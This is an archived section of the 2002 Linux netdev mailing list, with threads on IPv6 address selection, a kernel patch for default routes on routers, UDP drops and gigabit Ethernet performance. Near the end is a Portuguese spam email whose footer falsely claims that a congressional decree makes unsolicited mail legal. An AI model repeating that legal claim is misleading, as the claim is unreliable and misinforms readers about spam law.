SMTP id g8S5c8tG004682 for ; Fri, 27 Sep 2002 22:38:09 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id JAA03046; Sat, 28 Sep 2002 09:37:33 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280537.JAA03046@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: pekkas@netcore.fi (Pekka Savola) Date: Sat, 28 Sep 2002 09:37:33 +0400 (MSD) Cc: davem@redhat.com, yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: from "Pekka Savola" at Sep 28, 2 08:24:58 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 387 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Or would you have an already-sorted list of possible candidate addresses > for each route in the order of preference? I am not mad yet. :-) What preference? You must select _one_ address, you do not need lost candidates. > And recalculate always when address changes? What address? Interface address? Routing tables used to be synchronized to this. > This is IMO a wrong approach from user's perspective. Perhaps not if the > algorithm was run and e.g. additional, temporary "address selection" > routes were created by kernel. > > > > (stuff that's network prefix -independent > > > > I am sorry, I feel I do not understand what you mean. > > Hmm.. this depends on the interpretation of the concept above. If the > list is refreshed always when addresses change or change state, this could > perhaps work.. I am afraid I do not understand what "address", "state", "temporary" routes etc you mean. It remained in your brains. :-) Pekka, are you not going to sleep? (I am.) I bet when you reread this tomorrow, you will not blame that my brains eventually falled to "parse error" loop. :-) Alexey From yoshfuji@linux-ipv6.org Fri Sep 27 22:52:15 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 22:52:17 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S5q9tG005101 for ; Fri, 27 Sep 2002 22:52:12 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8S5E71o022248; Sat, 28 Sep 2002 14:14:07 +0900 Date: Sat, 28 Sep 2002 14:14:07 +0900 (JST) Message-Id: <20020928.141407.110833680.yoshfuji@linux-ipv6.org> To: usagi@linux-ipv6.org, kuznet@ms2.inr.ac.ru Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200209280444.IAA02959@sex.inr.ac.ru> References: <20020928.133019.38287529.yoshfuji@linux-ipv6.org> <200209280444.IAA02959@sex.inr.ac.ru> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 388 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <200209280444.IAA02959@sex.inr.ac.ru> (at Sat, 28 Sep 2002 08:44:29 +0400 (MSD)), kuznet@ms2.inr.ac.ru says: > I am not sure that it is really interesting though. Just now I cannot > imagine what user can invent which is not covered by system-wide rules, > bind() and IP{V6}_PKTINFO. Well, if you think more hairy scheme is interesting, > feel free to implement this. we need per application (per socket) interface for privacy extension (public address vs temporary address) and mobile ip (home address vs care-of address). -- yoshfuji From yoshfuji@linux-ipv6.org Fri Sep 27 23:20:00 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 23:20:02 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S6JxtG006103 for ; Fri, 27 Sep 2002 23:19:59 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8S6K01o022625; Sat, 28 Sep 2002 15:20:00 +0900 Date: Sat, 28 Sep 2002 15:19:59 +0900 (JST) Message-Id: <20020928.151959.131438421.yoshfuji@linux-ipv6.org> To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com CC: usagi@linux-ipv6.org Subject: [PATCH] IPv6: Default Route Support on Router From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 389 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. When a Linux box is configured as a router (forwarding=1), it does not recognize default routes. We can't understand why Linux forbid to hold IPv6 default route other than RA. We think IPv6 routers which use as edge router, not backbone core router should accept IPv6 default route as default. Because an edge router which doesn't speak BGP4+ may not have IPv6 full routes. This patch changes the behavior and respects IPv6 default routes. Following patch is against linux-2.4.19. Thank you in advance. ------------------------------------------------------------------- Patch-Name: Default Route Support on Router Patch-Id: FIX_2_4_19_RTR_DEFROUTE-20020912 Patch-Author: YOSHIFUJI Hideaki / USAGI Project Credit: Yuji SEKIYA / USAGI Project ------------------------------------------------------------------- Index: net/ipv6/ip6_fib.c =================================================================== RCS file: /cvsroot/usagi/usagi-backport/linux24/net/ipv6/ip6_fib.c,v retrieving revision 1.1.1.1 retrieving revision 1.1.1.1.10.1 diff -u -r1.1.1.1 -r1.1.1.1.10.1 --- net/ipv6/ip6_fib.c 2002/08/20 09:47:02 1.1.1.1 +++ net/ipv6/ip6_fib.c 2002/09/12 01:49:00 1.1.1.1.10.1 @@ -13,6 +13,12 @@ * 2 of the License, or (at your option) any later version. */ +/* + * Changes: + * Yuji SEKIYA @USAGI: Support default route on router node; + * remove ip6_null_entry from the top of + * routing table. + */ #include #include #include @@ -248,9 +254,6 @@ fn = root; - if (plen == 0) - return fn; - do { key = (struct rt6key *)((u8 *)fn->leaf + offset); @@ -427,6 +430,17 @@ ins = &fn->leaf; + if (fn->fn_flags&RTN_TL_ROOT && + fn->leaf == &ip6_null_entry && + !(rt->rt6i_flags & (RTF_DEFAULT | RTF_ADDRCONF | RTF_ALLONLINK)) ){ + /* + * The top fib of ip6 routing table includes ip6_null_entry. + */ + fn->leaf = rt; + rt->u.next = NULL; + goto out; + } + for (iter = fn->leaf; iter; iter=iter->u.next) { /* * Search for duplicates @@ -462,6 +476,7 @@ * insert node */ +out: rt->u.next = iter; *ins = rt; rt->rt6i_node = fn; @@ -675,7 +690,7 @@ fn = fib6_lookup_1(root, args); - if (fn == NULL) + if (fn == NULL || fn->fn_flags & RTN_TL_ROOT) fn = root; return fn; @@ -896,6 +911,9 @@ read_unlock(&fib6_walker_lock); rt->u.next = NULL; + + if (fn->leaf == NULL && fn->fn_flags&RTN_TL_ROOT) + fn->leaf = &ip6_null_entry; /* If it was last route, expunge its radix tree node */ if (fn->leaf == NULL) { From kuznet@ms2.inr.ac.ru Sat Sep 28 13:47:51 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 13:47:55 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8SKlntG012654 for ; Sat, 28 Sep 2002 13:47:50 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id AAA03890; Sun, 29 Sep 2002 00:47:05 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209282047.AAA03890@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Default Route Support on Router To: yoshfuji@linux-ipv6.ORG (YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=) Date: Sun, 29 Sep 2002 00:47:05 +0400 (MSD) Cc: netdev@oss.sgi.com, davem@redhat.com (Dave Miller) In-Reply-To: <20020928.151959.131438421.yoshfuji@linux-ipv6.org> from "YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=" at Sep 28, 2 10:45:00 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 390 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Following patch is against linux-2.4.19. OK! One question, what is this chunk for? > @@ -675,7 +690,7 @@ > > fn = fib6_lookup_1(root, args); > > - if (fn == NULL) > + if (fn == NULL || fn->fn_flags & RTN_TL_ROOT) > fn = root; > > return fn; Alexey From Eric.Lemoine@ens-lyon.fr Sat Sep 28 13:53:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 13:53:10 -0700 (PDT) Received: from mailhost.ens-lyon.fr (pluvier.ens-lyon.fr [140.77.167.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8SKr7tG013476 for ; Sat, 28 Sep 2002 13:53:07 -0700 Received: from [140.77.13.2] (helo=[140.77.13.2]) by mailhost.ens-lyon.fr with esmtp (Exim 3.35 #1 (Debian)) id 17uwsr-0003f8-00; Fri, 27 Sep 2002 17:18:25 +0200 Received: from eric by (null) with local (MasqMail 0.1.16) id 17uwtY-0M0-00; Fri, 27 Sep 2002 17:19:08 +0200 Date: Fri, 27 Sep 2002 17:19:08 +0200 From: Eric Lemoine To: jamal Cc: Eric Lemoine , netdev@oss.sgi.com Subject: Re: udp weirdness Message-ID: <20020927151908.GL343@hookipa> References: <20020927120223.GH343@hookipa> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Warning: return path set from From: address X-archive-position: 391 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Lemoine@ens-lyon.fr Precedence: bulk X-list: netdev On Fri, Sep 27, 2002 at 10:53:00AM -0400, jamal wrote: > > On Fri, 27 Sep 2002, Eric Lemoine wrote: > > > I figured out that packets can be dropped in pfifo_fast_enqueue() > > [the default qdisc's enqueue func], even though the driver/kernel > > flow control has triggered. > > > > And sendto does not notify the user when packet gets dropped because > > the output queue overflows (as indicated in sendto manpage). > > > > Why doesn't the kernel just put the process into sleep instead of > > dropping packets? > > > > What trigger do you suggest to wake up the process again? > A better idea maybe to return something to the socket so it can > manage things instead -- not sure what to return though that wouldnt > break some standard; Linux seems to be the only one to not return ENOBUFS in this overflow case (from sendto manpage), so i suspect it should not break any standard. -- Eric From rgooch@vindaloo.ras.ucalgary.ca Sat Sep 28 15:58:00 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 15:58:05 -0700 (PDT) Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8SMvxtG014637 for ; Sat, 28 Sep 2002 15:57:59 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id g8SMvta32527; Sat, 28 Sep 2002 16:57:55 -0600 Date: Sat, 28 Sep 2002 16:57:55 -0600 Message-Id: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: netdev@oss.sgi.com Subject: Poor gige performance with 2.4.20-pre* X-archive-position: 392 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgooch@ras.ucalgary.ca Precedence: bulk X-list: netdev Hi, all. For a while now I've noticed poor performance with gige cards under 2.4.19 and 2.4.20-pre*. At first I thought it was because of the cheap-ass Addtron cards I bought (these use the ns83820 chip). But now that the Intel E1000 cards are pretty cheap too, I've grabbed a couple (part number: PWLA8390MT) and see the same problem. In fact, the E1000 cards are no better than the Addtron cards. I'm using the D-Link DGS-1008T 8-port gige switch. MTU=1500 bytes. The basic test I do is to send 100 MB over a TCP connection from one machine to the other. The results are: Dual PIII 450 MHz -> Dual Athalon 1.6 GHz yields 58 MB/s Dual Athalon 1.6 GHz -> Dual PIII 450 MHz yields 23 MB/s This is quite a bit less than what gige is supposed to give. Is this expected? Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From davem@redhat.com Sat Sep 28 17:30:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 17:30:27 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T0UKtG015659 for ; Sat, 28 Sep 2002 17:30:20 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id RAA25618; Sat, 28 Sep 2002 17:23:06 -0700 Date: Sat, 28 Sep 2002 17:23:06 -0700 (PDT) Message-Id: <20020928.172306.102654240.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: yoshfuji@linux-ipv6.ORG, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: Default Route Support on Router From: "David S. Miller" In-Reply-To: <200209282047.AAA03890@sex.inr.ac.ru> References: <20020928.151959.131438421.yoshfuji@linux-ipv6.org> <200209282047.AAA03890@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 393 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Sun, 29 Sep 2002 00:47:05 +0400 (MSD) One question, what is this chunk for? This reminds me, nothing is aparently going to make use of net/ipv6/ip6_fw.c, it sits unused and untouched for years, can we just detroy it? :-) From ak@suse.de Sat Sep 28 19:08:29 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 19:08:34 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T28StG016602 for ; Sat, 28 Sep 2002 19:08:28 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 106B1149C2; Sun, 29 Sep 2002 04:08:23 +0200 (MEST) Date: Sun, 29 Sep 2002 04:08:22 +0200 From: Andi Kleen To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.ORG, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: Default Route Support on Router Message-ID: <20020929040822.A8491@wotan.suse.de> References: <20020928.151959.131438421.yoshfuji@linux-ipv6.org> <200209282047.AAA03890@sex.inr.ac.ru> <20020928.172306.102654240.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020928.172306.102654240.davem@redhat.com> User-Agent: Mutt/1.3.22.1i X-archive-position: 394 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Sat, Sep 28, 2002 at 05:23:06PM -0700, David S. Miller wrote: > From: kuznet@ms2.inr.ac.ru > Date: Sun, 29 Sep 2002 00:47:05 +0400 (MSD) > > One question, what is this chunk for? > > This reminds me, nothing is aparently going to make use > of net/ipv6/ip6_fw.c, it sits unused and untouched for > years, can we just detroy it? :-) It never worked correctly and was unfinished. I would destroy it. -Andi From kuznet@ms2.inr.ac.ru Sat Sep 28 19:10:33 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 19:10:35 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T2AWtG016961 for ; Sat, 28 Sep 2002 19:10:32 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id GAA12099; Sun, 29 Sep 2002 06:09:52 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209290209.GAA12099@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Default Route Support on Router To: davem@redhat.com (David S. Miller) Date: Sun, 29 Sep 2002 06:09:52 +0400 (MSD) Cc: yoshfuji@linux-ipv6.ORG, netdev@oss.sgi.com In-Reply-To: <20020928.172306.102654240.davem@redhat.com> from "David S. Miller" at Sep 28, 2 05:23:06 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 395 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > This reminds me, nothing is aparently going to make use > of net/ipv6/ip6_fw.c, it sits unused and untouched for > years, ... and unwritten. :-) > can we just detroy it? :-) Must, I think. Though with your current mood about per-flow cache the file could deserve... mmm... post-mortem examination. :-) Alexey From weixl@caltech.edu Sat Sep 28 19:12:55 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 19:12:57 -0700 (PDT) Received: from chamber.cco.caltech.edu (chamber.its.caltech.edu [131.215.48.55]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T2CttG017331 for ; Sat, 28 Sep 2002 19:12:55 -0700 Received: from weixl (sonata.caltech.edu [131.215.220.1]) by chamber.cco.caltech.edu (8.12.3/8.12.3) with ESMTP id g8T2Crne024755; Sat, 28 Sep 2002 19:12:53 -0700 (PDT) Message-ID: <002f01c2675d$b642b640$f5f2010a@weixl> From: "Xiaoliang \(David\) Wei" To: "Richard Gooch" , References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> Subject: Re: Poor gige performance with 2.4.20-pre* Date: Sat, 28 Sep 2002 19:12:50 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-archive-position: 396 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: weixl@caltech.edu Precedence: bulk X-list: netdev Hi, Did you do the experiments on WAN or LAN? What's the other configurations, such as: The sending/receiving buffer(I think it should be larger than Bandwidth*Delay)? > Hi, all. For a while now I've noticed poor performance with gige > cards under 2.4.19 and 2.4.20-pre*. At first I thought it was because > of the cheap-ass Addtron cards I bought (these use the ns83820 chip). > But now that the Intel E1000 cards are pretty cheap too, I've grabbed > a couple (part number: PWLA8390MT) and see the same problem. In fact, > the E1000 cards are no better than the Addtron cards. I'm using the > D-Link DGS-1008T 8-port gige switch. MTU=1500 bytes. > > The basic test I do is to send 100 MB over a TCP connection from one > machine to the other. The results are: > > Dual PIII 450 MHz -> Dual Athalon 1.6 GHz yields 58 MB/s > Dual Athalon 1.6 GHz -> Dual PIII 450 MHz yields 23 MB/s > > This is quite a bit less than what gige is supposed to give. Is this > expected? > > Regards, > > Richard.... > Permanent: rgooch@atnf.csiro.au > Current: rgooch@ras.ucalgary.ca > > > > From greearb@candelatech.com Sat Sep 28 19:33:06 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 19:33:08 -0700 (PDT) Received: from grok.yi.org (IDENT:BCl0KBxp7/MBVjduklZq6FfZRRaNElFX@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T2X5tG017794 for ; Sat, 28 Sep 2002 19:33:05 -0700 Received: from candelatech.com (IDENT:r9vhIN2ptkVaDWuzZKcNkljIz05UNo5t@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8T2Wsv04719; Sat, 28 Sep 2002 19:32:54 -0700 Message-ID: <3D966656.7040205@candelatech.com> Date: Sat, 28 Sep 2002 19:32:54 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Richard Gooch CC: netdev@oss.sgi.com Subject: Re: Poor gige performance with 2.4.20-pre* References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 397 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Richard Gooch wrote: > Hi, all. For a while now I've noticed poor performance with gige > cards under 2.4.19 and 2.4.20-pre*. At first I thought it was because > of the cheap-ass Addtron cards I bought (these use the ns83820 chip). > But now that the Intel E1000 cards are pretty cheap too, I've grabbed > a couple (part number: PWLA8390MT) and see the same problem. In fact, > the E1000 cards are no better than the Addtron cards. I'm using the > D-Link DGS-1008T 8-port gige switch. MTU=1500 bytes. Machine: dual Athlon, 1.66Ghz, 64/66Mhz pci, 512MB RAM, 2 Intel PRO/1000 MT server NICs. Kernel: 2.4.20-pre7, pre8 (same behaviour) I was able to send and receive 400Mbps between two cards on the machine simultaneously. This is sustained over a period of time untill the box crashes after an hour or so :( Using pktgen, I could generate 860Mbps in one direction from one port to another on the same machine (crashed after an hour or so here too). Try setting the TxDescriptors=4096 RxDescriptors=1024 when loading the e1000 module, that helps tremendously when using smaller packets. I tried the e1000 driver in 2.5.38 on the machine, it ran at about 1/3 of the speed, and crashed in under 5 minutes... So, the performance could be better, but what is really killing me is stability at this point... > > The basic test I do is to send 100 MB over a TCP connection from one > machine to the other. The results are: > > Dual PIII 450 MHz -> Dual Athalon 1.6 GHz yields 58 MB/s > Dual Athalon 1.6 GHz -> Dual PIII 450 MHz yields 23 MB/s > > This is quite a bit less than what gige is supposed to give. Is this > expected? > > Regards, > > Richard.... > Permanent: rgooch@atnf.csiro.au > Current: rgooch@ras.ucalgary.ca > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From rgpo@spils.com Sat Sep 28 19:56:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Sep 2002 19:56:06 -0700 (PDT) Received: from emumail.com (200-204-150-166.dsl.telesp.net.br [200.204.150.166]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T2tjtG018587; Sat, 28 Sep 2002 19:55:48 -0700 Message-Id: <200209290255.g8T2tjtG018587@oss.sgi.com> From: "Remover" Subject: =?iso-8859-1?Q?Apresenta=E7=E3o?= Date: Sat, 28 Sep 2002 11:42:58 -0300 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_000A_01C266E4.3492AE80"; type="multipart/alternative" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-archive-position: 398 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgpo@spils.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C266E4.3492AE80 Content-Type: multipart/alternative; boundary="----=_NextPart_001_000B_01C266E4.3492AE80" ------=_NextPart_001_000B_01C266E4.3492AE80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RGPO inform=E1tica ---------------------------------------------------------------------------= ----- =20 =20 Ao Depto. Compras/Inform=E1tica Prezado Cliente Atuando a mais de 8 anos no mercado a RGPO Inform=E1tica, =E9 uma empresa v= oltada a revenda de Produtos de Inform=E1tica (Softwares e Hardwares) dos m= aiores fabricantes do mundo, conforme est=E3o demonstrados a seguir: (logom= arcas). =20 =20 Destacamos tamb=E9m a comercializa=E7=E3o de microcomputadores conforme con= figura=E7=E3o solicitada (Servidores e Desktops) e manut=EAn=E7ao dos mesmos A filosofia de nossa empresa =E9 o compromisso de PARCERIA, com os nossos C= LIENTES ou seja melhores Pre=E7os e o cumprimento nos Prazo de Entrega. =20 Semanalmente enviaremos Tabela de Pre=E7os, Promo=E7=F5es e Novidades do Me= rcado, caso n=E3o haja o interesse em receber, favor nos comunicar no nosso= e-mail rgpo1@spils.com com o assunto REMOVER. ---------------------------------------------------------------------------= ----- RGPO INFORM=C1TICA LTDA. Tel/Fax. (11) 6239-8517/5003 ---------------------------------------------------------------------------= ----- Esta mensagem =E9 enviada com a complac=EAncia da nova legisla=E7=E3o sobr= e correio eletr=F4nico, Se=E7=E3o 301, Par=E1grafo (a) (2) (c) Decreto S.16= 18, T=EDtulo Terceiro aprovado pelo "105 Congresso Base das Normativas = Internacionais sobre o SPAM". Este E-mail n=E3o poder=E1 ser considerado SP= AM quando inclua uma forma de ser removido.=20=20 ------=_NextPart_001_000B_01C266E4.3492AE80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
RGPO
           = inform=E1tica
 
 
Ao
Depto.=20 Compras/Inform=E1tica
 
 
 
Prezado Cliente
 
 
 
Atuando a mais de 8 anos no mercado= a=20 RGPO Inform=E1tica, =E9 uma empresa voltada a revenda= de=20 Produtos de Inform=E1tica (Softwares e Hardwares) dos maiores fabricantes d= o=20 mundo, conforme est=E3o demonstrados a seguir: (logomarcas).
 
 
3D""
 
 
Destacamos tamb=E9m a comercializa= =E7=E3o de=20 microcomputadores conforme configura=E7=E3o solicitada (Servidores e=20 Desktops) e manut=EAn=E7ao dos mesmos
 
 
A filosofia de nossa empresa = =E9 o=20 compromisso de PARCERIA, com os nossos CLIENTES=20 ou seja melhores Pre=E7os e o cumprimento nos Prazo de=20 Entrega.
 
 
Semanalmente enviaremos Tabela de Pre=E7os, Promo=E7=F5es= =20 e Novidades do=20 Mercado, caso n=E3o haja o interesse em receber, favor= nos=20 comunicar no nosso e-mail rgpo1@spils.co= m=20 com o assunto REMOVER.=
 
 
 

RGPO INFORM=C1TICA=20 LTDA.
Tel/Fax. (11) 6239-8517/5003
Es= ta =20 mensagem =E9 enviada com a complac=EAncia da nova legisla=E7=E3o sobre corr= eio=20 eletr=F4nico, Se=E7=E3o 301, Par=E1grafo (a) (2) (c) Decreto S.1618, T=EDtu= lo =20 Terceiro  aprovado  pelo  "105 Congresso Base das Normativas= =20 Internacionais sobre o SPAM". Este E-mail n=E3o poder=E1 ser considerado SP= AM quando=20 inclua uma forma de ser removido. =20
------=_NextPart_001_000B_01C266E4.3492AE80-- ------=_NextPart_000_000A_01C266E4.3492AE80 Content-Type: image/gif; name="Banner RGPO - Email.gif" Content-Transfer-Encoding: base64 Content-ID: <000401c266fd$56b29b60$0200a8c0@terra.com.br> R0lGODdhzQJwAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/ AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBm mQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/ AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPM ADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYA mWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZ AGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/ mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lm AJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wz 